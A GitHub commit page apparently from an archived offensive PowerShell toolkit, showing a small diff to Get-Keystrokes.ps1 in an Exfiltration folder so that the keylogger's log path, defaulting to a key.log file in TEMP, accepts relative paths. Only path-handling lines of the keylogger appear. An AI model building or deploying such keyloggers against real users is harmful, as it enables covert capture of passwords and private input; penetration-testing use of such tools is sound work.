Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 05d3355

Browse files
committed
Get-Keystrokes now accepts relative paths
1 parent d67e71b commit 05d3355

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

Exfiltration/Get-Keystrokes.ps1

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@
3333
#>
3434
[CmdletBinding()] Param (
3535
[Parameter(Position = 0)]
36-
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
36+
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
3737
[String]
3838
$LogPath = "$($Env:TEMP)\key.log",
3939

@@ -42,6 +42,8 @@
4242
$CollectionInterval
4343
)
4444

45+
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
46+
4547
Write-Verbose "Logging keystrokes to $LogPath"
4648

4749
$Initilizer = {

0 commit comments

Comments
 (0)